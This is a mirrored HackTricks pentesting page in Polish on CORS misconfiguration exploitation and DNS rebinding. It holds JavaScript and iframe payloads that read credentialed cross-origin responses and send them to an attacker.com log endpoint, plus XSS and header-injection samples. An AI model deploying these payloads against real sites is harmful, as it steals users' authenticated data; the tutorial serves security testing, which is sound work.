Mirrors/hacktricks

Fork 0

mirror of https://github.com/carlospolop/hacktricks synced 2024-12-18 00:53:43 +00:00

Translator workflow 5e0daf0e23 Translated to Polish

2024-02-11 01:46:25 +00:00

32 KiB

Raw Blame History

CORS - Konfiguracje błędów i bypass

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
Zdobądź oficjalne gadżety PEASS & HackTricks
Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.

Czym jest CORS?

Standard Cross-Origin Resource Sharing (CORS) umożliwia serwerom określenie, kto może uzyskać dostęp do ich zasobów i jakie metody żądań HTTP są dozwolone z zewnętrznych źródeł.

Polityka tej samej domeny wymaga, aby serwer żądający zasobu i serwer hostujący zasób miały takie same protokoły (np. http://), nazwy domen (np. internal-web.com) i porty (np. 80). Zgodnie z tą polityką, tylko strony internetowe z tej samej domeny i portu mają dostęp do zasobów.

Zastosowanie polityki tej samej domeny w kontekście http://normal-website.com/example/example.html jest przedstawione poniżej:

Odwołany URL	Dostęp dozwolony?
`http://normal-website.com/example/`	Tak: Identyczny schemat, domena i port
`http://normal-website.com/example2/`	Tak: Identyczny schemat, domena i port
`https://normal-website.com/example/`	Nie: Inny schemat i port
`http://en.normal-website.com/example/`	Nie: Inna domena
`http://www.normal-website.com/example/`	Nie: Inna domena
`http://normal-website.com:8080/example/`	Nie: Inny port*

*Internet Explorer ignoruje numer portu przy stosowaniu polityki tej samej domeny, co umożliwia ten dostęp.

Nagłówek `Access-Control-Allow-Origin`

Ten nagłówek może zezwalać na wiele źródeł, wartość null lub dziką kartę *. Jednak żaden przeglądarka nie obsługuje wielu źródeł, a użycie dzikiej karty * podlega ograniczeniom. (Dzika karta musi być używana samodzielnie, a jej użycie w połączeniu z Access-Control-Allow-Credentials: true jest niedozwolone.)

Ten nagłówek jest wysyłany przez serwer w odpowiedzi na żądanie zasobu międzydomenowego inicjowane przez witrynę, a przeglądarka automatycznie dodaje nagłówek Origin.

Nagłówek `Access-Control-Allow-Credentials`

Domyślnie żądania międzydomenowe są wykonywane bez uwierzytelnienia, takiego jak pliki cookie lub nagłówek Autoryzacja. Jednak serwer międzydomenowy może zezwolić na odczyt odpowiedzi, gdy przesyłane są uwierzytelniające dane, ustawiając nagłówek Access-Control-Allow-Credentials na true.

Jeśli ustawiono na true, przeglądarka przesyła dane uwierzytelniające (pliki cookie, nagłówki autoryzacji lub certyfikaty klienta TLS).

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);

fetch(url, {
credentials: 'include'
})

const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF Wstępne żądanie

Zrozumienie wstępnych żądań w komunikacji międzydomenowej

Podczas inicjowania żądania międzydomenowego w określonych warunkach, takich jak użycie niestandardowej metody HTTP (innej niż HEAD, GET, POST), wprowadzenie nowych nagłówków lub użycie specjalnej wartości nagłówka Content-Type, może być wymagane wstępne żądanie. To wstępne żądanie, wykorzystujące metodę OPTIONS, służy poinformowaniu serwera o intencjach nadchodzącego żądania międzydomenowego, w tym o metodach HTTP i nagłówkach, które ma zamiar użyć.

Protokół Cross-Origin Resource Sharing (CORS) nakazuje sprawdzenie wstępne w celu określenia wykonalności żądanego działania międzydomenowego poprzez weryfikację dozwolonych metod, nagłówków i wiarygodności pochodzenia. Aby dokładnie zrozumieć, jakie warunki omijają konieczność wstępnego żądania, należy zapoznać się z obszernym przewodnikiem udostępnionym przez Mozilla Developer Network (MDN).

Należy zauważyć, że brak wstępnego żądania nie znosi konieczności posiadania nagłówków autoryzacyjnych w odpowiedzi. Bez tych nagłówków przeglądarka nie jest w stanie przetworzyć odpowiedzi na żądanie międzydomenowe.

Przyjrzyjmy się poniższemu przykładowi wstępnego żądania, które ma na celu użycie metody PUT wraz z niestandardowym nagłówkiem o nazwie Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

W odpowiedzi serwer może zwrócić nagłówki wskazujące akceptowane metody, dozwolony pochodzenie i inne szczegóły polityki CORS, jak pokazano poniżej:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

Access-Control-Allow-Headers: Ten nagłówek określa, które nagłówki mogą być używane podczas rzeczywistego żądania. Jest ustawiany przez serwer, aby wskazać dozwolone nagłówki w żądaniach od klienta.
Access-Control-Expose-Headers: Poprzez ten nagłówek serwer informuje klienta, które nagłówki mogą być ujawnione jako część odpowiedzi, oprócz prostych nagłówków odpowiedzi.
Access-Control-Max-Age: Ten nagłówek wskazuje, jak długo wyniki żądania przedwstępnego mogą być przechowywane w pamięci podręcznej. Serwer ustawia maksymalny czas, w sekundach, w którym informacje zwrócone przez żądanie przedwstępne mogą być ponownie używane.
Access-Control-Request-Headers: Ten nagłówek jest używany w żądaniach przedwstępnych i jest ustawiany przez klienta, aby poinformować serwer, które nagłówki HTTP klient chce użyć w rzeczywistym żądaniu.
Access-Control-Request-Method: Ten nagłówek, również używany w żądaniach przedwstępnych, jest ustawiany przez klienta, aby wskazać, jaką metodę HTTP zostanie użyta w rzeczywistym żądaniu.
Origin: Ten nagłówek jest automatycznie ustawiany przez przeglądarkę i wskazuje pochodzenie żądania międzydomenowego. Jest używany przez serwer do oceny, czy przychodzące żądanie powinno być zezwolone czy odrzucone na podstawie polityki CORS.

Należy zauważyć, że zazwyczaj (w zależności od typu zawartości i ustawionych nagłówków) w żądaniu GET/POST nie jest wysyłane żądanie przedwstępne (żądanie jest wysyłane bezpośrednio), ale jeśli chcesz uzyskać dostęp do nagłówków/ciała odpowiedzi, musi zawierać nagłówek Access-Control-Allow-Origin zezwalający na to.
Dlatego CORS nie chroni przed CSRF (ale może być pomocny).

Żądanie przedwstępne lokalnej sieci

Access-Control-Request-Local-Network: Ten nagłówek jest dołączany do żądania klienta, aby wskazać, że zapytanie jest skierowane do zasobu lokalnej sieci. Służy jako znacznik informujący serwer, że żądanie pochodzi z wewnątrz lokalnej sieci.
Access-Control-Allow-Local-Network: W odpowiedzi serwery używają tego nagłówka, aby przekazać informację, że żądany zasób może być udostępniany podmiotom spoza lokalnej sieci. Działa jak zielone światło dla udostępniania zasobów między różnymi granicami sieciowymi, zapewniając kontrolowany dostęp przy zachowaniu protokołów bezpieczeństwa.

Poprawna odpowiedź zezwalająca na żądanie lokalnej sieci musi również zawierać w odpowiedzi nagłówek Access-Controls-Allow-Local_network: true:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} Należy zauważyć, że adres IP 0.0.0.0 w systemie Linux umożliwia ominięcie wymagań dostępu do lokalnego hosta, ponieważ ten adres IP nie jest uważany za "lokalny".

Możliwe jest również ominięcie wymagań dotyczących sieci lokalnej, jeśli użyjesz publicznego adresu IP lokalnego punktu końcowego (takiego jak publiczny adres IP routera). Ponieważ w wielu przypadkach, nawet jeśli publiczny adres IP jest używany, jeśli jest to z sieci lokalnej, dostęp zostanie udzielony.

{% endhint %}

Wykorzystywalne błędy konfiguracji

Zauważono, że ustawienie Access-Control-Allow-Credentials na true jest warunkiem wstępnym dla większości rzeczywistych ataków. To ustawienie pozwala przeglądarce na wysyłanie poświadczeń i odczytywanie odpowiedzi, zwiększając skuteczność ataku. Bez tego korzyść z zmuszenia przeglądarki do wysłania żądania zamiast samodzielnego wykonania tego czynu maleje, ponieważ wykorzystanie plików cookie użytkownika staje się niemożliwe.

Wyjątek: Wykorzystanie lokalizacji sieciowej jako uwierzytelnienia

Istnieje wyjątek, w którym lokalizacja sieciowa ofiary działa jako forma uwierzytelnienia. Pozwala to na wykorzystanie przeglądarki ofiary jako proxy, omijając uwierzytelnianie oparte na adresie IP, aby uzyskać dostęp do aplikacji sieciowych. Ta metoda ma podobne skutki jak DNS rebinding, ale jest prostsza do wykorzystania.

Odzwierciedlanie `Origin` w `Access-Control-Allow-Origin`

Teoretycznie jest mało prawdopodobne, że wartość nagłówka Origin zostanie odzwierciedlona w Access-Control-Allow-Origin ze względu na ograniczenia dotyczące łączenia tych nagłówków. Jednak programiści, którzy chcą włączyć CORS dla wielu adresów URL, mogą dynamicznie generować nagłówek Access-Control-Allow-Origin, kopiując wartość nagłówka Origin. Ten podejście może wprowadzać podatności, zwłaszcza gdy atakujący używa domeny o nazwie zaprojektowanej tak, aby wydawała się wiarygodna, wprowadzając w błąd logikę walidacji.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

Wykorzystywanie pochodzenia `null`

Pochodzenie null, określone dla sytuacji takich jak przekierowania lub lokalne pliki HTML, zajmuje wyjątkową pozycję. Niektóre aplikacje umożliwiają na białej liście to pochodzenie w celu ułatwienia lokalnego rozwoju, co nieumyślnie pozwala dowolnej witrynie na udawanie pochodzenia null za pomocą osadzonego iframe w piaskownicy, co umożliwia ominięcie ograniczeń CORS.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Techniki obejścia wyrażeń regularnych

Podczas napotkania białej listy domen ważne jest przetestowanie możliwości obejścia, takich jak dołączenie domeny atakującego do domeny z białej listy lub wykorzystanie podatności na przejęcie subdomeny. Dodatkowo, wyrażenia regularne używane do walidacji domen mogą pomijać niuanse w konwencjach nazewnictwa domen, co stwarza kolejne możliwości obejścia.

Zaawansowane techniki obejścia wyrażeń regularnych

Wzorce regex zwykle skupiają się na znakach alfanumerycznych, kropce (.) i myślniku (-), pomijając inne możliwości. Na przykład, nazwa domeny stworzona w taki sposób, aby zawierać znaki interpretowane inaczej przez przeglądarki i wzorce regex, może obejść kontrole bezpieczeństwa. Sposób, w jaki Safari, Chrome i Firefox obsługują znaki podkreślenia w subdomenach, ilustruje, jak takie rozbieżności mogą być wykorzystane do obejścia logiki walidacji domeny.

Aby uzyskać więcej informacji i ustawień dotyczących tego rodzaju obejścia, sprawdź: https://www.corben.io/advanced-cors-techniques/ i https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

Z wykorzystaniem XSS wewnątrz subdomeny

Programiści często wprowadzają mechanizmy obronne, aby chronić się przed wykorzystaniem CORS poprzez uwzględnienie na białej liście domen, które mają uprawnienia do żądania informacji. Pomimo tych środków ostrożności, bezpieczeństwo systemu nie jest w pełni niezawodne. Obecność nawet jednej podatnej subdomeny na liście domen z białej listy może otworzyć drzwi do wykorzystania CORS poprzez inne podatności, takie jak XSS (Cross-Site Scripting).

Aby to zilustrować, rozważmy scenariusz, w którym domena requester.com jest na białej liście, aby uzyskać dostęp do zasobów z innej domeny, provider.com. Konfiguracja po stronie serwera może wyglądać tak:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

W tej konfiguracji, wszystkie subdomeny requester.com mają dozwolony dostęp. Jednakże, jeśli subdomena, na przykład sub.requester.com, zostanie skompromitowana poprzez podatność na XSS, atakujący może wykorzystać tę słabość. Na przykład, atakujący mający dostęp do sub.requester.com może wykorzystać podatność na XSS, aby ominąć polityki CORS i nielegalnie uzyskać dostęp do zasobów na provider.com.

Zatrucie pamięci podręcznej po stronie serwera

Z tej publikacji naukowej

Możliwe jest, że poprzez wykorzystanie zatrucia pamięci podręcznej po stronie serwera za pomocą wstrzyknięcia nagłówka HTTP, można wywołać przechowywaną podatność na Cross-Site Scripting (XSS). Ten scenariusz rozgrywa się, gdy aplikacja nie oczyszcza nagłówka Origin z niedozwolonych znaków, co tworzy podatność szczególnie dla użytkowników przeglądarek Internet Explorer i Edge. Te przeglądarki traktują znak \r (0x0d) jako prawidłowy terminator nagłówka HTTP, co prowadzi do podatności na wstrzyknięcie nagłówka HTTP.

Rozważmy następujące żądanie, w którym manipulowany jest nagłówek Origin:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer i Edge interpretują odpowiedź jako:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Podczas bezpośredniego wykorzystania tej podatności poprzez wysłanie błędnie sformułowanego nagłówka przez przeglądarkę internetową nie jest możliwe, można jednak ręcznie wygenerować spreparowane żądanie za pomocą narzędzi takich jak Burp Suite. Metoda ta może prowadzić do zapisania odpowiedzi w pamięci podręcznej serwera i nieumyślnego jej udostępnienia innym. Spreparowany ładunek ma na celu zmianę zestawu znaków strony na UTF-7, kodowanie znaków często związane z podatnościami XSS ze względu na możliwość kodowania znaków w taki sposób, że mogą być wykonane jako skrypt w określonych kontekstach.

Aby dowiedzieć się więcej na temat podatności XSS przechowywanych, zobacz PortSwigger.

Uwaga: Wykorzystanie podatności na wstrzykiwanie nagłówków HTTP, zwłaszcza poprzez zatrucie pamięci podręcznej po stronie serwera, podkreśla kluczowe znaczenie walidacji i oczyszczania wszelkich dostarczanych przez użytkownika danych, w tym nagłówków HTTP. Zawsze stosuj solidny model zabezpieczeń, który obejmuje walidację danych wejściowych, aby zapobiec takim podatnościom.

Zatrucie pamięci podręcznej po stronie klienta

Z tej publikacji

W tym scenariuszu zaobserwowano wystąpienie strony internetowej odzwierciedlającej zawartość niestandardowego nagłówka HTTP bez odpowiedniego kodowania. Konkretnie, strona internetowa odzwierciedla zawartość zawartą w nagłówku X-User-id, który może zawierać złośliwy kod JavaScript, jak pokazano na przykładzie, gdzie nagłówek zawiera znacznik obrazu SVG zaprojektowany do wykonania kodu JavaScript podczas ładowania.

Polityki Cross-Origin Resource Sharing (CORS) umożliwiają wysyłanie niestandardowych nagłówków. Jednak bez bezpośredniego renderowania odpowiedzi przez przeglądarkę ze względu na ograniczenia CORS, użyteczność takiego wstrzyknięcia może wydawać się ograniczona. Krytyczny punkt pojawia się, gdy rozważa się zachowanie pamięci podręcznej przeglądarki. Jeśli nie jest określony nagłówek Vary: Origin, możliwe staje się zapisanie złośliwej odpowiedzi w pamięci podręcznej przeglądarki. Następnie ta zapisana odpowiedź może być renderowana bezpośrednio podczas nawigacji do adresu URL, omijając konieczność bezpośredniego renderowania podczas początkowego żądania. Mechanizm ten zwiększa niezawodność ataku poprzez wykorzystanie pamięci podręcznej po stronie klienta.

Aby zilustrować ten atak, przedstawiono przykład skryptu JavaScript, który ma być wykonany w środowisku strony internetowej, na przykład za pomocą JSFiddle. Ten skrypt wykonuje prostą czynność: wysyła żądanie do określonego adresu URL z niestandardowym nagłówkiem zawierającym złośliwy kod JavaScript. Po pomyślnym zakończeniu żądania próbuje nawigować do docelowego adresu URL, co potencjalnie może spowodować wykonanie wstrzykniętego skryptu, jeśli odpowiedź została zapisana w pamięci podręcznej bez odpowiedniego obsługiwania nagłówka Vary: Origin.

Poniżej przedstawiono podsumowanie użytego skryptu JavaScript do wykonania tego ataku:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, znane również jako Cross-Site Script Inclusion, to rodzaj podatności, który wykorzystuje fakt, że Same Origin Policy (SOP) nie ma zastosowania podczas dołączania zasobów za pomocą znacznika skryptu. Wynika to z faktu, że skrypty muszą być dołączane z różnych domen. Ta podatność umożliwia atakującemu dostęp i odczytanie dowolnej zawartości, która została dołączona za pomocą znacznika skryptu.

Ta podatność staje się szczególnie istotna w przypadku dynamicznego JavaScriptu lub JSONP (JSON z Paddingiem), zwłaszcza gdy używane są informacje o uprawnieniach, takie jak ciasteczka, do uwierzytelniania. Podczas żądania zasobu z innej hosta, ciasteczka są dołączane, co umożliwia atakującemu ich dostęp.

Aby lepiej zrozumieć i złagodzić tę podatność, można skorzystać z wtyczki BurpSuite dostępnej pod adresem https://github.com/kapytein/jsonp. Ta wtyczka może pomóc zidentyfikować i rozwiązać potencjalne podatności XSSI w Twoich aplikacjach internetowych.

Dowiedz się więcej o różnych typach XSSI i jak je wykorzystać tutaj.

Spróbuj dodać parametr callback w żądaniu. Być może strona została przygotowana do wysyłania danych jako JSONP. W takim przypadku strona zwróci dane z Content-Type: application/javascript, co umożliwi obejście polityki CORS.

Łatwe (bezużyteczne?) obejście

Jednym ze sposobów obejścia ograniczenia Access-Control-Allow-Origin jest poproszenie aplikacji internetowej o wykonanie żądania w Twoim imieniu i odesłanie odpowiedzi. Jednak w tym scenariuszu dane uwierzytelniające ostatecznej ofiary nie zostaną wysłane, ponieważ żądanie jest wykonywane do innej domeny.

CORS-escape: Narzędzie to dostarcza serwer proxy, który przekazuje Twoje żądanie wraz z nagłówkami, jednocześnie podszywając się pod nagłówek Origin, aby pasował do żądanej domeny. To skutecznie omija politykę CORS. Oto przykład użycia z XMLHttpRequest:
simple-cors-escape: Narzędzie to oferuje alternatywne podejście do przekazywania żądania. Zamiast przekazywać Twoje żądanie w niezmienionej postaci, serwer wykonuje własne żądanie z określonymi parametrami.

Możesz obejść sprawdzanie CORS, takie jak e.origin === window.origin, tworząc iframe i otwierając z niego nowe okno. Więcej informacji na następnej stronie:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

DNS Rebinding za pomocą TTL

DNS rebinding za pomocą TTL to technika wykorzystywana do obejścia pewnych środków bezpieczeństwa poprzez manipulowanie rekordami DNS. Oto jak to działa:

Atakujący tworzy stronę internetową i zmusza ofiarę do jej odwiedzenia.
Następnie atakujący zmienia DNS (IP) swojej własnej domeny, aby wskazywał na stronę internetową ofiary.
Przeglądarka ofiary buforuje odpowiedź DNS, która może zawierać wartość TTL (Time to Live), określającą, jak długo rekord DNS powinien być uważany za ważny.
Po upływie TTL przeglądarka ofiary wysyła nowe żądanie DNS, umożliwiając atakującemu wykonanie kodu JavaScript na stronie ofiary.
Utrzymując kontrolę nad adresem IP ofiary, atakujący może zbierać informacje z ofiary, nie wysyłając żadnych ciasteczek do serwera ofiary.

Warto zauważyć, że przeglądarki mają mechanizmy buforowania, które mogą zapobiec natychmiastowemu wykorzystaniu tej techniki, nawet przy niskich wartościach TTL.

DNS rebinding może być przydatny do obejścia jawnych sprawdzeń IP przeprowadzanych przez ofiarę lub w przypadkach, gdy użytkownik lub bot pozostaje na tej samej stronie przez dłuższy czas, co pozwala na wygaśnięcie bufora.

Jeśli potrzebujesz szybkiego sposobu na wykorzystanie DNS rebinding, możesz skorzystać z usług takich jak https://lock.cmpxchg8b.com/rebinder.html.

Aby uruchomić własny serwer DNS rebinding, możesz skorzystać z narzędzi takich jak DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Wymaga to udostępnienia lokalnego portu 53/udp, utworzenia rekordu A wskazującego na ten port (np. ns.example.com) i utworzenia rekordu NS wskazującego na wcześniej utworzoną poddomenę A (np. ns.example.com). Każda poddomena poddomeny ns.example.com będzie wówczas rozwiązywana przez Twój host.

Możesz również korzystać z publicznie działającego serwera pod adresem http://rebind.it/singularity.html, aby lepiej zrozumieć i eksperymentować.

DNS Rebinding za pomocą zalewu pamięci podręcznej DNS

DNS rebinding za pomocą zalewu pamięci podręcznej DNS to kolejna technika wykorzystywana do obejścia mechanizmu buforowania przeglądarek i wymuszenia drugiego żądania DNS. Oto jak to działa:

Na początku, gdy ofiara wysyła żądanie DNS, otrzymuje adres IP atakującego.
Aby obejść obronę buforowania, atakujący wykorzystuje usługę pracownika usługi. Pracownik usługi zalewa pamięć podręczną DNS, co skutecznie usuwa buforowany nazwę serwera atakującego.
Gdy przeglądarka ofiary wysyła drugie żądanie DNS, otrzymuje teraz adres IP 127.0.0.1, który zazwyczaj odnosi się do lokalnego hosta.

Poprzez zalewanie pamięci podręcznej DNS za pomocą pracownika usługi, atakujący może manipulować procesem rozwiązywania DNS i wymusić drugie żądanie przeglądarki ofiary, tym razem rozwiązując na żądany przez atakującego adres IP.

DNS Rebinding za pomocą pamięci podręcznej

Innym sposobem obejścia obrony buforowania jest wykorzystanie wielu adresów IP dla tej samej poddomeny w dostawcy DNS. Oto jak to działa:

Atakujący ustawia dwa rekordy A (lub pojedynczy rekord A z dwoma adresami IP) dla tej samej poddomeny w dostawcy DNS.
Gdy przeglądarka sprawdza te rekordy, otrzymuje oba adresy IP.
Jeśli przeglądarka zdecyduje się najpierw użyć adresu IP atakującego, atakujący może dostarczyć payload, który wykonuje żądania HTTP do tej samej domeny.
Jednak po uzyskaniu adresu IP ofiary, atakujący przestaje odpowiadać przeglądarce ofiary.
Przeglądarka ofiary, po stwierdzeniu, że domena nie odpowiada, przechodzi do użycia drugiego podanego adresu IP.
Przez dostęp do drugiego adresu IP przeglądarka omija politykę Same Origin Policy (SOP), co umożliwia atakującemu wykorzystanie tego i pozyskanie informacji oraz ich eksfiltrację.

Ta technika wykorzystuje zachowanie przeglądarek, gdy dla domeny podawane są multiple adresy IP. Poprzez strategiczne kontrolowanie odpowiedzi i manipulowanie wyborem adresu IP przez przeglądarkę, atakujący może wy

Inne powszechne obejścia

Jeśli nie są dozwolone wewnętrzne adresy IP, mogli zapomnieć zakazać 0.0.0.0 (działa w systemach Linux i Mac)
Jeśli nie są dozwolone wewnętrzne adresy IP, odpowiedz z CNAME do localhost (działa w systemach Linux i Mac)
Jeśli nie są dozwolone wewnętrzne adresy IP jako odpowiedzi DNS, można odpowiedzieć CNAME na wewnętrzne usługi, takie jak www.corporate.internal.

Uzbrojone ataki DNS Rebidding

Więcej informacji na temat poprzednich technik obejścia i jak korzystać z narzędzia można znaleźć w prezentacji Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin to narzędzie do przeprowadzania ataków DNS rebinding. Zawiera niezbędne komponenty do ponownego powiązania adresu IP serwera atakującego z adresem IP docelowego komputera oraz do dostarczania ładunków ataku w celu wykorzystania podatnego oprogramowania na docelowym komputerze.

Rzeczywista ochrona przed atakami DNS Rebinding

Używaj TLS w wewnętrznych usługach
Wymagaj uwierzytelnienia w celu uzyskania dostępu do danych
Sprawdzaj nagłówek Host
https://wicg.github.io/private-network-access/: Propozycja zawsze wysyłania żądania pre-flight, gdy publiczne serwery chcą uzyskać dostęp do wewnętrznych serwerów

Narzędzia

Przeszukaj możliwe błędy w politykach CORS

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!